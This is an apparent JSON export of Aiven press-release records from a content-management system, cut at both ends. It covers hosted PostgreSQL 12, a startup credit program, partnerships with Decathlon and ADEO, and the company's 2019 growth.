C"},"slug":{"_type":"slug","current":"/press/aiven-achieves-usd2b-unicorn-valuation-with-its-series-c-extension"},"subtitle":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","title":"Aiven Achieves $2B unicorn valuation with its Series C extension"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"C5xQIYMUEGRCe6hgpdRk4","_rev":"5iTZEBNHx5PwgJLwP8XpCM","_type":"pressRelease","_updatedAt":"2022-12-02T11:50:52Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will be the first provider to offer PostgreSQL 12 as a service in public clouds. Aiven’s hosted PostgreSQL 12 offers improved indexes that take up less space, allowing organizations to manage additional workloads and increase productivity.\n\nAiven currently provides PostgreSQL as a managed database hosted on any cloud offering such as AWS, Azure and Google Cloud. Aiven for PostgreSQL 12 offers security and performance updates, including improved query performance on tables with thousands of partitions, improved insertion performance and the ability to run partitions without encountering blocking queries.\n\nThrough Aiven’s hosted PostgreSQL 12 offering, organizations now have easier and quicker access to unstructured data - allowing them to build larger databases and accommodate new use cases in markets such as manufacturing and IoT.\n\n“Organizations are always looking to increase their database performance and improve workload productivity and scalability, all of which are possible with PostgreSQL 12,” said Hannu Valtonen, VP of Product. “Aiven has always been proud to be the first to offer open source database solutions and updates to its customers, and we’re excited to see the same success with PostgreSQL’s newest release.”\n\nPostgreSQL has been a leader in open source development for over 20 years, providing easy to use database systems that fit any organization’s needs. One of these updates is the ability and support for JSON path language, which allows users to perform operations and search within JSON language and documents.\n\nThis addition makes it simpler for organizations to use PostgreSQL across all of its applications and access unstructured data. Aiven was able to adopt these new updates quickly and securely within its service and cloud offerings, which will allow businesses to use PostgreSQL 12 without software complications and manage more datasets.\n\nGartner predicts that by 2022, [75% of all databases will be deployed or migrated to a cloud platform](https://www.gartner.com/en/documents/3941821). With Aiven’s expertise in managing open source databases in the cloud, companies can employ the updated PostgreSQL 12 for new and complex use cases that need the flexibility of PostgreSQL and scalability of the cloud.\n\n“At Aiven, we strive to provide database solutions like PostgreSQL that meet the needs of large and small organizations and are easy to use,” said Valtonen. “We’re thrilled to announce our ability to host the PostgreSQL 12 update, a continuance of Aiven’s excellent service and management options required by today’s organizations.”\n\nTo learn more about Aiven for PostgreSQL 12, visit [https://aiven.io/postgresql](https://aiven.io/postgresql).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"cYguCew0","_type":"block","children":[{"_key":"8bea0047df03","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 19, 2019-"},{"_key":"CHbeFEoz","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"svYEj9tE","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will be the first provider to offer PostgreSQL 12 as a service in public clouds. Aiven’s hosted PostgreSQL 12 offers improved indexes that take up less space, allowing organizations to manage additional workloads and increase productivity."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"XJPgwjWf","_type":"block","children":[{"_key":"HoKKO4IZ","_type":"span","marks":[],"text":"Aiven currently provides PostgreSQL as a managed database hosted on any cloud offering such as AWS, Azure and Google Cloud. Aiven for PostgreSQL 12 offers security and performance updates, including improved query performance on tables with thousands of partitions, improved insertion performance and the ability to run partitions without encountering blocking queries."}],"markDefs":[],"style":"normal"},{"_key":"GCoNxkFu","_type":"block","children":[{"_key":"tmvH9scI","_type":"span","marks":[],"text":"Through Aiven’s hosted PostgreSQL 12 offering, organizations now have easier and quicker access to unstructured data - allowing them to build larger databases and accommodate new use cases in markets such as manufacturing and IoT."}],"markDefs":[],"style":"normal"},{"_key":"qcUpR93E","_type":"block","children":[{"_key":"CDiTVmXd","_type":"span","marks":[],"text":"“Organizations are always looking to increase their database performance and improve workload productivity and scalability, all of which are possible with PostgreSQL 12,” said Hannu Valtonen, VP of Product. “Aiven has always been proud to be the first to offer open source database solutions and updates to its customers, and we’re excited to see the same success with PostgreSQL’s newest release.”"}],"markDefs":[],"style":"normal"},{"_key":"fRYGUDUF","_type":"block","children":[{"_key":"JEC22AII","_type":"span","marks":[],"text":"PostgreSQL has been a leader in open source development for over 20 years, providing easy to use database systems that fit any organization’s needs. One of these updates is the ability and support for JSON path language, which allows users to perform operations and search within JSON language and documents."}],"markDefs":[],"style":"normal"},{"_key":"xfJFfM7h","_type":"block","children":[{"_key":"anOyDTDl","_type":"span","marks":[],"text":"This addition makes it simpler for organizations to use PostgreSQL across all of its applications and access unstructured data. Aiven was able to adopt these new updates quickly and securely within its service and cloud offerings, which will allow businesses to use PostgreSQL 12 without software complications and manage more datasets."}],"markDefs":[],"style":"normal"},{"_key":"1wxbGsXw","_type":"block","children":[{"_key":"yeCMzrV8","_type":"span","marks":[],"text":"Gartner predicts that by 2022, "},{"_key":"MUlgBd4C","_type":"span","marks":["m5468332480793"],"text":"75% of all databases will be deployed or migrated to a cloud platform"},{"_key":"6OMgIkja","_type":"span","marks":[],"text":". With Aiven’s expertise in managing open source databases in the cloud, companies can employ the updated PostgreSQL 12 for new and complex use cases that need the flexibility of PostgreSQL and scalability of the cloud."}],"markDefs":[{"_key":"m5468332480793","_type":"link","href":"https://www.gartner.com/en/documents/3941821"}],"style":"normal"},{"_key":"qDePdFDj","_type":"block","children":[{"_key":"JigM8zZt","_type":"span","marks":[],"text":"“At Aiven, we strive to provide database solutions like PostgreSQL that meet the needs of large and small organizations and are easy to use,” said Valtonen. “We’re thrilled to announce our ability to host the PostgreSQL 12 update, a continuance of Aiven’s excellent service and management options required by today’s organizations.”"}],"markDefs":[],"style":"normal"},{"_key":"elxO0UAm","_type":"block","children":[{"_key":"rVXFCQnT","_type":"span","marks":[],"text":"To learn more about Aiven for PostgreSQL 12, visit "},{"_key":"tlYc7nrt","_type":"span","marks":["m5814761259150"],"text":"https://aiven.io/postgresql"},{"_key":"E3mWahnj","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m5814761259150","_type":"link","href":"https://aiven.io/postgresql"}],"style":"normal"},{"_key":"HZ4eIEiJ","_type":"block","children":[{"_key":"1Zyh4gl8","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"rRr4M3pu","_type":"block","children":[{"_key":"0zmuemSF","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"z90XgjUM","_type":"block","children":[{"_key":"hESc9Cxz","_type":"span","marks":[],"text":"You can visit "},{"_key":"PS0T6Tu0","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"yGEWbOaf","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"rjtYfNks","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"OvdKDPly","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-11-19T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2019, we became the first cloud service to provide fully hosted and managed PostgreSQL 12, an open source database becoming a de facto industry standard.","metaTitle":"Aiven becomes first cloud service to provide hosted PostgreSQL 12"},"slug":{"_type":"slug","current":"/press/aiven-first-to-provide-hosted-postgresql-12"},"subtitle":"Aiven Press Release: In 2019, we became the first cloud service to provide fully hosted and managed PostgreSQL 12, an open source database becoming a de facto industry standard.","title":"Aiven becomes first cloud service to provide hosted PostgreSQL 12"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"HQATpqXvPUqetrIAOFjen","_rev":"ElrRHx5al3kb1PwLXH8NC8","_type":"pressRelease","_updatedAt":"2022-12-02T12:48:42Z","content":[{"_key":"85wY2Hv0","_type":"block","children":[{"_key":"9a9cdb77a8c4","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 1, 2021"},{"_key":"591I11Og","_type":"span","marks":[],"text":" – Today, Aiven, a software company that combines open source technologies with cloud infrastructure, has opened applications for its new startup program, to aid emerging startups scale fast. The free scheme provides startups with access to market-leading data infrastructure and access to Aiven’s support and expertise, allowing them to focus on their core business."}],"markDefs":[],"style":"normal"},{"_key":"c5bQ0jrX","_type":"block","children":[{"_key":"fMUWc8Of","_type":"span","marks":[],"text":"Startup programs are cornerstones for a multitude of businesses, imparting expertise and resources that help to drive innovation and growth. Aiven’s involvement in a startup program provided a strong foundation for its success story."}],"markDefs":[],"style":"normal"},{"_key":"ruz2kMm6","_type":"block","children":[{"_key":"OFuGk5ay","_type":"span","marks":[],"text":"Aiven’s CEO Oskari Saarenmaa comments: “For most businesses, the initial years are both the most important and most challenging. The requirement to build technological infrastructure and other frameworks that are necessary for day-to-day operations take away time and resources that could otherwise be spent on value-add tasks that can contribute to the growth of the company."}],"markDefs":[],"style":"normal"},{"_key":"XmEfQPFw","_type":"block","children":[{"_key":"xJMLTudn","_type":"span","marks":[],"text":"“At Aiven we understand that startups need faster time to market, robust tools, and total control of their data to gain competitive advantage. Startups need to have confidence that their tech stack will just work without anyone having to waste time babysitting it. That’s time away from what matters for them. And as they focus on scaling quickly, it's critical the tech stack isn’t a bottleneck for growth.”"}],"markDefs":[],"style":"normal"},{"_key":"rqBdINJm","_type":"block","children":[{"_key":"1oGnYf8k","_type":"span","marks":[],"text":"With a strong track record of giving back to the open source community through its open source program office (OSPO), Aiven is looking to further drive innovation in the wider technology community through the launch of Aiven’s Startup Program, Cluster."}],"markDefs":[],"style":"normal"},{"_key":"FM7OYZBH","_type":"block","children":[{"_key":"uKA0GGU5","_type":"span","marks":[],"text":"The full benefits of the program include:"}],"markDefs":[],"style":"normal"},{"_key":"TKOZGSsu","_type":"block","children":[{"_key":"5jLKf93n","_type":"span","marks":[],"text":"$100,000 Aiven credits for 12 months"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"M86c3NBZ","_type":"block","children":[{"_key":"ctwti0hM","_type":"span","marks":[],"text":"Access to Aiven’s expertise and knowledge"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0vsd50Si","_type":"block","children":[{"_key":"rjrsylFC","_type":"span","marks":[],"text":"Aiven solutions and technical support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1jlPrGPY","_type":"block","children":[{"_key":"GeDgf1bi","_type":"span","marks":[],"text":"Virtual events about products and practical use cases"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"MjHtpmaI","_type":"block","children":[{"_key":"qAg07rDA","_type":"span","marks":[],"text":"Promotion through Aiven’s social media channels"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"Gg9yPngT","_type":"block","children":[{"_key":"C48JkM0t","_type":"span","marks":[],"text":"Aiven’s long-term investor Earlybird has joined the program as an investor partner. “We are excited to endorse the Cluster program among our portfolio companies. Cluster’s offering is compelling to young startups who want to be both cost-efficient and infrastructure agnostic. Aiven’s team manages databases at a scale and quality level that's unbeatable for an individual organisation”, says Dr. Hendrik Brandis, Co-founder and Partner at Earlybird."}],"markDefs":[],"style":"normal"},{"_key":"fmsonAwD","_type":"block","children":[{"_key":"3WpaCnNR","_type":"span","marks":[],"text":"To be eligible to apply to the program, startups must have an affiliation with a partner accelerator, incubator, or venture capitalist, be no older than five years, or achieved funding past Series A. Startups must also possess a full company website and email address."}],"markDefs":[],"style":"normal"},{"_key":"qEpf1SJW","_type":"block","children":[{"_key":"OVEXbLon","_type":"span","marks":[],"text":"The application period runs from December 1st to January 16th, with the decision period then ending on February 11th and the program beginning on February 14th."}],"markDefs":[],"style":"normal"},{"_key":"NaPyFHSk","_type":"block","children":[{"_key":"AR6Cx1s9","_type":"span","marks":[],"text":"To learn more about Aiven Cluster, visit: https://aiven.io/cluster"}],"markDefs":[],"style":"normal"},{"_key":"dk2bLeLa","_type":"block","children":[{"_key":"SVRprsjU","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"g189xSxM","_type":"block","children":[{"_key":"vHucvgyj","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation and has now raised $210M total funding backed by Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-12-01T00:00:00.000Z","seo":{"metaDescription":"Aiven Cluster provides cutting edge data tools and a wealth of knowledge to startups looking to scale rapidly","metaTitle":"Aiven helps startups navigate growth with free tech package "},"slug":{"_type":"slug","current":"/press/aiven-helps-startups-navigate-growth-with-free-tech-package"},"subtitle":"Aiven Cluster provides cutting edge data tools and a wealth of knowledge to startups looking to scale rapidly","title":"Aiven helps startups navigate growth with free tech package "}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"SmFSPQEeG0lT9LV1ImFb1","_rev":"ElrRHx5al3kb1PwLXHCjb8","_type":"pressRelease","_updatedAt":"2022-12-02T13:03:11Z","content":[{"_key":"8kj3qIlH","_type":"block","children":[{"_key":"ETd97BkQ","_type":"span","marks":["em"],"text":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps"}],"markDefs":[],"style":"normal"},{"_key":"INgM4GkH","_type":"block","children":[{"_key":"9ad58c887c06","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 24, 2022"},{"_key":"RvVHVCzr","_type":"span","marks":[],"text":" – "},{"_key":"UkItOYdI","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"sdhlphdH","_type":"span","marks":[],"text":", a leading company combining the best open source streaming and data management technologies with cloud infrastructure, is partnering with Decathlon, a major sporting goods retailer with an ADN firmly focused on service and technology innovation. Aiven will provide Decathlon with worldwide Database-as-a-Service (DBaaS) support for its transition to microservices."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"FHRyHmM2","_type":"block","children":[{"_key":"BrlOW1hW","_type":"span","marks":["em"],"text":"\"Standing out in an increasingly competitive retail sector requires developing an IT environment based on cutting edge cloud native technology and highly automated processes. At Decathlon, service and technology innovation is rooted in our daily activities. It's why we form alliances with strong, multicloud partners like Aiven, providing DBaaS as the technological and operational linchpin of our Cloud Platform Engineering global strategy,\""},{"_key":"TCF9irj4","_type":"span","marks":[],"text":" stated Jérôme Dubreuil, Decathlon Chief Digital Officer."}],"markDefs":[],"style":"normal"},{"_key":"HnqN3NCl","_type":"block","children":[{"_key":"5k1UojCv","_type":"span","marks":[],"text":"Decathlon will benefit from Aiven's cloud and services management expertise to turn open source data technologies such as Kafka, PostgreSQL, MySQL, OpenSearch, InfluxDB and Redis into easily consumable, highly available and scalable data solutions."}],"markDefs":[],"style":"normal"},{"_key":"mAOrrQe9","_type":"block","children":[{"_key":"Gz5Zjp6r","_type":"span","marks":["em"],"text":"“Aiven’s solution offers us a unique stack for deploying our database solutions for all cloud providers. This type of collaboration allows us to rely on Aiven’s expertise for some of our applications (especially for databases). We can then focus on the parts of the solutions that differentiate more from the UX of our customers. This work is carried out by our multidisciplinary Decathlon teams - architecture, security, performance, integration - and our developers”"},{"_key":"upzLC9mD","_type":"span","marks":[],"text":" , said Pierre Hilbert, Database Product Owner at Decathlon."}],"markDefs":[],"style":"normal"},{"_key":"J8C3C2J5","_type":"block","children":[{"_key":"uOZeMLOJ","_type":"span","marks":[],"text":"With the rapid growth of DBaaS, Aiven and Decathlon will continue to work together and plan the transformation of data management services."}],"markDefs":[],"style":"normal"},{"_key":"xOiiCOKh","_type":"block","children":[{"_key":"tmF4KdlZ","_type":"span","marks":["em"],"text":"\"We are thrilled to support Decathlon in such an important transformation and are fully aware of the level of quality required to manage Decathlon applications\""},{"_key":"JuTEQzO9","_type":"span","marks":[],"text":", stated Oskari Saarenmaa, Aiven CEO and Co-founder."}],"markDefs":[],"style":"normal"},{"_key":"Jhr0loMx","_type":"block","children":[{"_key":"wOEaW8cc","_type":"span","marks":["em"],"text":"\"While the open source database market caught up to the business services market for the first time in 2021, Aiven is more committed than ever to providing reliable and innovative data services designed to make developers' lives easier and support our customers' business.\""}],"markDefs":[],"style":"normal"},{"_key":"IdcyBHka","_type":"block","children":[{"_key":"vqjIFWud","_type":"span","marks":["strong"],"text":"About Decathlon:"}],"markDefs":[],"style":"normal"},{"_key":"SXZOwVfr","_type":"block","children":[{"_key":"GBbCONtv","_type":"span","marks":[],"text":"Over the past decade, through its Decathlon Technology branch, Decathlon has accelerated its digital transformation to face new technological challenges and consumption patterns. With more than 3,000 engineers in over 50 countries, Decathlon Technology leverages the most innovative technologies, and works with and develops tools, systems and experiences that give people worldwide access to the joys and benefits of sports. Decathlon, a leader in the sporting goods market, has two lines of business: creating innovative sporting goods and services and their distribution online and in stores. With 330 retail outlets in France and over 1,700 worldwide, since 1976 Decathlon and its 97,000 employees have worked to achieve an ongoing goal: innovation in all fields to remain the main partner for all athletes."}],"markDefs":[],"style":"normal"},{"_key":"9LSZGCVl","_type":"block","children":[{"_key":"MzNcRgmP","_type":"span","marks":["strong"],"text":"About Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"QW8A0xlK","_type":"block","children":[{"_key":"dZ9fpH7X","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Toronto, Singapore, Sydney and most recently Paris, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, OpenSearch and M3, on all major US and European clouds. Aiven offers its services in a CloudOps environment that helps companies leverage the advantages of cloud native to accelerate and remove risk from their transformation. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage multicloud data infrastructure. Earlier this year, ADEO announced its partnership with Aiven. Aiven has raised $210 million in VC funding to date and has achieved unicorn status. Aiven is backed by world-class investors including Atomico, IVP and Earlybird Venture Capital among others. To learn more about Aiven, visit "},{"_key":"hDsJaPsZ","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"QUjGwIya","_type":"span","marks":[],"text":" and follow "},{"_key":"AF3qWZrC","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"xctlyUau","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-02-24T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps.","metaTitle":"Decathlon selects Aiven to accelerate transition cloud"},"slug":{"_type":"slug","current":"/press/decathlon-selects-to-the-cloud-through-open-source-dbaas-and-cloud-native"},"subtitle":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps.","title":" Decathlon selects Aiven to accelerate its transition to the cloud through open source DbaaS and cloud native"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"WrLJCFmU6ZW7bi6Lqqv34","_rev":"4wCQkLLW7jZ1wPVfcq9HY3","_type":"pressRelease","_updatedAt":"2022-12-02T12:37:45Z","content":[{"_key":"hVpqzNIl","_type":"block","children":[{"_key":"EWmWvR6k","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — April 6, 2021- "},{"_key":"c2iFt0Gq","_type":"span","marks":[],"text":"Aiven, a leading technology company combining the best open-source event streaming and data management technologies with cloud infrastructure, and ADEO, the leading French DIY and home improvement player in the European market and third largest worldwide, announced today that they are expanding their partnership."}],"markDefs":[],"style":"normal"},{"_key":"ZSUQtDtC","_type":"block","children":[{"_key":"FMPjcJ9Y","_type":"span","marks":[],"text":"ADEO will benefit from the unparalleled Aiven technology that turns open-source data technologies such as PostgreSQL, MySQL, OpenSearch, InfluxDB and Redis into easily consumable, highly available and scalable data solutions."}],"markDefs":[],"style":"normal"},{"_key":"5Cq2BsBh","_type":"block","children":[{"_key":"OR1t2spW","_type":"span","marks":[],"text":"“We were looking for a technology partner to accompany both our European and global growth as we transform and digitize our processes while innovating the way we interact with our customers. We need a reliable cloud provider that can deliver, scale and support a large variety of services on-demand based,“ said Julien Charlot, Database and Middleware Product Manager at ADEO."}],"markDefs":[],"style":"normal"},{"_key":"JpFCv0b3","_type":"block","children":[{"_key":"MEh9Kaqg","_type":"span","marks":[],"text":"As DBaaS is evolving extremely fast, Aiven and ADEO will keep on collaborating and planning the necessary evolution of managed data services."}],"markDefs":[],"style":"normal"},{"_key":"yFHMoKWe","_type":"block","children":[{"_key":"XWgg3tP1","_type":"span","marks":[],"text":"“For the past two years, ADEO has been working closely with Aiven and influencing their roadmap with our needs and feedback, delivering substantial improvements for our users and for us as administrators,” said Matthieu Cornillon, Cloud Data Technical Lead at ADEO."}],"markDefs":[],"style":"normal"},{"_key":"kGOp9wz7","_type":"block","children":[{"_key":"Ard4LIPA","_type":"span","marks":[],"text":"“Our partnership with Aiven evolved from one where they supported a few tactical projects to one where they now represent a key, strategic component of our infrastructure. Thanks to Aiven's excellent services and dedicated support, it has proven to be a very solid pillar of our data cloudification strategy,” said Giovanni Clement, CTO at ADEO."}],"markDefs":[],"style":"normal"},{"_key":"vaFBxi5v","_type":"block","children":[{"_key":"6hc4d7Xd","_type":"span","marks":[],"text":"Aiven will continue to collaborate with ADEO to deliver a wide range of services that ADEO will offer across their organization and brands to support a significant number of business and IT use cases, always accompanied with around-the-clock Aiven support."}],"markDefs":[],"style":"normal"},{"_key":"0SP6w7Ai","_type":"block","children":[{"_key":"Iy6wm3vc","_type":"span","marks":[],"text":"“We are thrilled to see ADEO reasserting the confidence they have put in our company for the last two years. As we make reactivity and agility the foundation of our customer engagement, it is most appreciated to witness such a positive outcome,” said Oskari Saarenmaa, co-founder and Chief Executive Officer at Aiven. “We are committed to accompany ADEO alongside their digitization journey and will keep valuing their inputs as our relationship grows.”"}],"markDefs":[],"style":"normal"},{"_key":"pmYYtppU","_type":"block","children":[{"_key":"MSTDCf0f","_type":"span","marks":["strong"],"text":"About ADEO"}],"markDefs":[],"style":"normal"},{"_key":"O3osWjTi","_type":"block","children":[{"_key":"YlP5eznu","_type":"span","marks":[],"text":"ADEO is the third largest player worldwide in the home improvement market, providing home life, tooling, and DIY supplies for individuals and trade across 13 countries."}],"markDefs":[],"style":"normal"},{"_key":"yuTTM2Zb","_type":"block","children":[{"_key":"2dJEpGKW","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"ANXLzPo4","_type":"block","children":[{"_key":"YbVtbV4w","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"j031aCly","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"S2R1AT9A","_type":"span","marks":[],"text":"and follow "},{"_key":"7RIEBEmP","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"jcQ2PJiY","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-04-06T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven selected as partner by ADEO to support its continuous digitization effort by delivering innovative and highly secured open-source data solutions ","metaTitle":"Aiven and ADEO expand their partnership"},"slug":{"_type":"slug","current":"/press/adeo-expands-partnership-with-aiven-to-deliver-open-source-driven-global"},"subtitle":"Aiven selected as partner by ADEO to support its continuous digitization effort by delivering innovative and highly secured open-source data solutions for various business and IT use cases.","title":"Aiven and ADEO expand their partnership"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"Y8a0fWgUgWmKgdLrKXVtz","_rev":"ElrRHx5al3kb1PwLXGgcY8","_type":"pressRelease","_updatedAt":"2022-12-02T11:53:56Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, closes 2019 after tripling its revenue run rate to $12M and doubling its headcount to 42 during the year and having opened new offices in Berlin and Sydney in addition to the existing ones in Helsinki and Boston.\n\n“Aiven’s 2019 growth is a strong indicator of our future success and momentum going into 2020,” said Oskari Saarenmaa, co-founder and CEO at Aiven. “Our goal has always been to help our customers focus on what’s most important to their businesses while we provide them the cutting edge cloud technology that allows them to move faster. Establishing a physical presence in new locations combined with our strong financial development allows us to offer an even better level of service to our growing, global customer base in 2020.”\n\nIn addition to its increasing global presence and revenue, Aiven continues to bolster it’s leadership team by appointing [Olaf Schmitz](https://www.linkedin.com/in/olafschmitz/), former head of business development at Amazon, to the company’s board of directors. Schmitz carries extensive business innovation knowledge aimed at helping operations run smoothly from his background at Amazon, and he will leverage his expertise at Aiven as chairman.\n\n“The future of business relies on the ability to manage data in a modernized, simplified way,” said Schmitz. “Aiven’s open source data solutions are precisely what businesses need to help optimize data collection and reduce growing security risks. I’m elated to join the Aiven team as chairman to help continue its rapid growth and success.”\n\nEnterprises are awash in data and batch processing is no longer good enough to maintain a competitive advantage. As data pipelines have modernized, they have rendered data actionable in real-time. But the components that comprise the pipelines are complex, making them difficult to implement and manage.\n\nAiven’s platform removes this obstacle, allowing enterprises to build these modern pipelines and take advantage of real-time use cases such as IoT. For example, Aiven for Apache Kafka underlies Comcast’s Xfinity Home IoT concept, which requires high availability and low end-to-end latency.\n\n“At Comcast, we needed a robust managed Kafka solution for some of our most critical workflows. Based on our evaluation, Aiven clearly offers superior cost, support, and performance,” said Adam Hertz, VP of Engineering.\n\nFurther propelling its 2019 momentum, Aiven plans to expand with M3 time series database and Apache Flink stream processing product releases in 2020, maintaining its quick-to-market strategy and leadership position. Aiven will continue to be the first database services provider to offer major version updates to its current offering, such as [PostgreSQL 12](https://aiven.io/postgresql){:target=\"\\blank\"}, which became available in November 2019. The success behind the release of [Kafka Connect as a Service](https://aiven.io/kafka-connect) is another demonstration of the caliber of service and pace Aiven intends to maintain throughout 2020.\n\nTo learn more about Aiven’s capabilities, visit: [https://aiven.io](https://aiven.io).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"sZBITQuu","_type":"block","children":[{"_key":"b21ac23efd3f","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 18, 2019-"},{"_key":"aAuZ8OxX","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"kpwarTzK","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, closes 2019 after tripling its revenue run rate to $12M and doubling its headcount to 42 during the year and having opened new offices in Berlin and Sydney in addition to the existing ones in Helsinki and Boston."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"7Kjg6Jhj","_type":"block","children":[{"_key":"YQtrWWUz","_type":"span","marks":[],"text":"“Aiven’s 2019 growth is a strong indicator of our future success and momentum going into 2020,” said Oskari Saarenmaa, co-founder and CEO at Aiven. “Our goal has always been to help our customers focus on what’s most important to their businesses while we provide them the cutting edge cloud technology that allows them to move faster. Establishing a physical presence in new locations combined with our strong financial development allows us to offer an even better level of service to our growing, global customer base in 2020.”"}],"markDefs":[],"style":"normal"},{"_key":"YQEIdIWE","_type":"block","children":[{"_key":"qQxbDYco","_type":"span","marks":[],"text":"In addition to its increasing global presence and revenue, Aiven continues to bolster it’s leadership team by appointing "},{"_key":"HlwbRzea","_type":"span","marks":["m3964133784020"],"text":"Olaf Schmitz"},{"_key":"ZNQYPzfs","_type":"span","marks":[],"text":", former head of business development at Amazon, to the company’s board of directors. Schmitz carries extensive business innovation knowledge aimed at helping operations run smoothly from his background at Amazon, and he will leverage his expertise at Aiven as chairman."}],"markDefs":[{"_key":"m3964133784020","_type":"link","href":"https://www.linkedin.com/in/olafschmitz/"}],"style":"normal"},{"_key":"TPqz4CHN","_type":"block","children":[{"_key":"ha2vPZ0h","_type":"span","marks":[],"text":"“The future of business relies on the ability to manage data in a modernized, simplified way,” said Schmitz. “Aiven’s open source data solutions are precisely what businesses need to help optimize data collection and reduce growing security risks. I’m elated to join the Aiven team as chairman to help continue its rapid growth and 